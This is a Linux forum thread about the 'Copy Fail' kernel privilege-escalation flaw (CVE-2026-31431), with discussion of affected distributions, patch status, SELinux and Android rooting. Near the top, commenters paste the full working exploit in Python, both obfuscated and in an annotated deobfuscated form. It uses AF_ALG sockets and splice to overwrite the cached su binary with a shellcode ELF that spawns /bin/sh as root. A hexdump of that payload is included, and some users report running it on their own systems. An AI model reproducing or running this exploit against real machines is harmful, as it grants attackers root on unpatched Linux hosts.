this post was submitted on 30 Apr 2026
159 points (98.8% liked)

Linux

13701 readers
568 users here now

A community for everything relating to the GNU/Linux operating system (except the memes!)

Also, check out:

Original icon base courtesy of lewing@isc.tamu.edu and The GIMP

founded 2 years ago
MODERATORS
 

woaw

also a good blog post about it https://xint.io/blog/copy-fail-linux-distributions

top 29 comments
sorted by: hot top controversial new old
[–] not_IO@lemmy.blahaj.zone 47 points 2 weeks ago (1 children)

here is just the code https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py

#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")
[–] lime@feddit.nu 52 points 2 weeks ago* (last edited 2 weeks ago)

here's my attempt at deobfuscating it:

#!/usr/bin/env python3

import os
from ctypes import c_int32 as i32, c_char as char
import zlib
import socket as s


def inject(file, offset, data):
    # connect to kernel crypto system's aeda endpoint
    sock = s.socket(s.AF_ALG, s.SOCK_SEQPACKET)
    sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
 
    # set cipher key and tag size, then wait for the system to be ready
    sock.setsockopt(s.SOL_ALG, s.ALG_SET_KEY, (char * 68)(8, 0, 1, 0, 0, 0, 0, 16))
    sock.setsockopt(s.SOL_ALG, s.ALG_SET_AEAD_AUTHSIZE, None, optlen=4)
    conn, _ = sock.accept()
 
    # pass in configuration
    conn.sendmsg(
        [b"AAAA" + data],  # pad to tag size
        [
            (s.SOL_ALG, s.ALG_SET_OP, i32(s.ALG_OP_DECRYPT)),  # set operation
            (s.SOL_ALG, s.ALG_SET_IV, (char * 20)(16)),    # set init vector
            (s.SOL_ALG, s.ALG_SET_AEAD_ASSOCLEN, i32(8)),  # set associated data length
        ],
        s.MSG_MORE,
    )

    # move file through a pipe to the connection without copying
    r, w = os.pipe()
    os.splice(file, w, offset + 4, offset_src=0)
    os.splice(r, conn.fileno(), offset + 4)
    try:
        conn.recv(8 + offset)
    except:
        pass


binary = os.open("/usr/bin/su", os.O_RDONLY)
offset = 0
payload = zlib.decompress(
    bytes.fromhex(
        "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301"
        "d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b96"
        "75c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
    )
)

while offset < len(payload):
    inject(binary, offset, payload[offset : offset + 4])
    offset += 4

os.system("su")

as far as i understand the writeup, the weakness is in the splice() function, because it silently crosses an auth boundary. the payload looks like this:

00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............ # ELF x86-64 v1, executable
00000010: 0200 3e00 0100 0000 7800 4000 0000 0000  ..>.....x.@.....
00000020: 4000 0000 0000 0000 0000 0000 0000 0000  @...............
00000030: 0000 0000 4000 3800 0100 0000 0000 0000  ....@.8......... # contains 1 56-bit program header
00000040: 0100 0000 0500 0000 0000 0000 0000 0000  ................ # program header starts
00000050: 0000 4000 0000 0000 0000 4000 0000 0000  ..@.......@.....
00000060: 9e00 0000 0000 0000 9e00 0000 0000 0000  ................ # flags r-x
00000070: 0010 0000 0000 0000 31c0 31ff b069 0f05  ........1.1..i.. # program starts
00000080: 488d 3d0f 0000 0031 f66a 3b58 990f 0531  H.=....1.j;X...1
00000090: ff6a 3c58 0f05 2f62 696e 2f73 6800 0000  .j<X../bin/sh...

it's an ELF header that replaces the one on the cached version of the binary (su in this case).

Edit: came back to this because i realized i had the wrong flags. the values were right but they were for the wrong socket type.

[–] randamumaki@lemmy.blahaj.zone 40 points 2 weeks ago (2 children)

So could this root any android device to make it possible to install homebrew on it?

[–] Successful_Try543@feddit.org 29 points 2 weeks ago (2 children)

There usually isn't a su binary installed on non-rooted Androids. If you're rooting it yourself anyways, there's no need to use the exploit.

[–] randamumaki@lemmy.blahaj.zone 5 points 2 weeks ago (1 children)

I'm not as smart as the people who make alternative android options. I was just hoping it would help them jailbreak more of goggle's bullshit so customers actually have a choice to go for an android OS which respects them and their privacy.

[–] not_IO@lemmy.blahaj.zone 25 points 2 weeks ago (2 children)

grapheneOS has already vented on social media that theu are not affected because of how they configured SELinux and that the headline is therefore not correct

https://grapheneos.social/@GrapheneOS/116491317711428490

[–] Scoopta@programming.dev 18 points 2 weeks ago (1 children)

SELinux breaks a lot of android root exploits, way back in the day even dirty cow didn't work. It would get you "root" but not actually the full perms because of SELinux. Really good testament to the added security of MAC, it's one of the reasons I run apparmor on my systems

[–] village604@adultswim.fan 3 points 2 weeks ago* (last edited 2 weeks ago)

I'll be happy if I never have to look at SELinux or fapolicy ever again. Especially fapolicy because the documentation is shit.

It's the one thing I don't miss about being a sysadmin.

[–] 30p87@feddit.org 2 points 2 weeks ago

Aww dang it

Well ok who tf cares I can literally just connect to adb over localhost with termux and do adb root

[–] Lee@retrolemmy.com 5 points 2 weeks ago (1 children)

While the POC requires su, the underlying flaw potentially works on any setuid binary on systems with AF_ALG enabled (provided there isn't something else preventing it).

[–] Pika@sh.itjust.works 4 points 2 weeks ago* (last edited 2 weeks ago)

In android this would very likely be the "mount" command, as if it has a microsd card reader or the ability to use a USB data transfer I expect it's using mount in order to do so.

[–] 30p87@feddit.org 9 points 2 weeks ago (1 children)

Apparently this exact PoC only works on x86. You'd need to find an ARM version

[–] lime@feddit.nu 9 points 2 weeks ago

you'd only need to change the payload part, which is a compiled x86 ELF header.

[–] rimu@piefed.social 12 points 2 weeks ago
[–] arsCynic@piefed.social 11 points 2 weeks ago* (last edited 2 weeks ago) (3 children)

Here on my Artix* Linux it still asks for the password; *OpenRC ~~systemd~~, KDE Plasma, Wayland.

[–] not_IO@lemmy.blahaj.zone 30 points 2 weeks ago

https://xint.io/blog/copy-fail-linux-distributions

according to this (good) blog post the disclosure to the linux kernel security team was already like a month ago so i would imagine the fix is already on a lot of systems

[–] nyan_kas@piefed.social 24 points 2 weeks ago

If your system is up-to-date, your kernel has probably already been patched. The patch was added to mainline on April 1, and I think every major distribution will have added it by now.

[–] Die4Ever@retrolemmy.com 5 points 2 weeks ago* (last edited 2 weeks ago)

same, Kubuntu 26.04 asks for my password when running the exploit script

[–] stuner@lemmy.world 9 points 2 weeks ago (2 children)

It seems that most LTS distros didn't get a heads up and there are no patches available. Uh oh.

[–] woelkchen@lemmy.world 3 points 2 weeks ago (1 children)

Automated test suites became so good, many regular people can just use rolling release distros these days.

[–] stuner@lemmy.world 5 points 2 weeks ago (1 children)

That may be true for personal computers, but the impact of this vulnerability is mainly on servers. And those typically run distros like Debian, Ubuntu, RHEL that didn't have a patch at that time.

[–] woelkchen@lemmy.world 4 points 2 weeks ago (1 children)

the impact of this vulnerability is mainly on servers

The impact is any Linux install without root access for its users.

[–] dgdft@lemmy.world 3 points 2 weeks ago

Sure, but it’s much easier to get some form of RCE on public hosts in order to make practical use of the LPE.

[–] superglue@lemmy.dbzer0.com 2 points 2 weeks ago (2 children)

What I read said the patch was merged into main on April 1st, so they should have.

[–] lengau@midwest.social 4 points 2 weeks ago

This thread gives a good rundown of what happened: https://infosec.exchange/@wdormann/116489443704631952

[–] stuner@lemmy.world 3 points 2 weeks ago (1 children)

It looks like the fixes were merged in 6.18, 6.19, and 7.0. But all older (but supported) LTS kernels didn't have the fix, like 6.12, which is used in Debian 13. And it also seems that Ubuntu, RHEL, and SUSE had not picked up the patches in their kernel versions.

[–] Successful_Try543@feddit.org 4 points 2 weeks ago* (last edited 2 weeks ago)

The kernel 6.12.73-1 used by Debian Trixie is still vulnerable. Applying security updates should update the kernel to 6.12.85-1 and fix the issue.

https://security-tracker.debian.org/tracker/CVE-2026-31431

Edit: Kernel 6.1.170-1 just got released and fixes the vulnerability.

[–] bdonvr@thelemmy.club 8 points 2 weeks ago

This did not work on my main Arch install on 6.19.14-zen, but did work on my Debian servers 6.12.74

yikes

[–] remilia@lemmy.cyberia9.org 5 points 2 weeks ago

I just get a "permission denied" on Slackware 15.0 and -current. That was after fixing the path to su in the script (it's /bin/su on Slackware)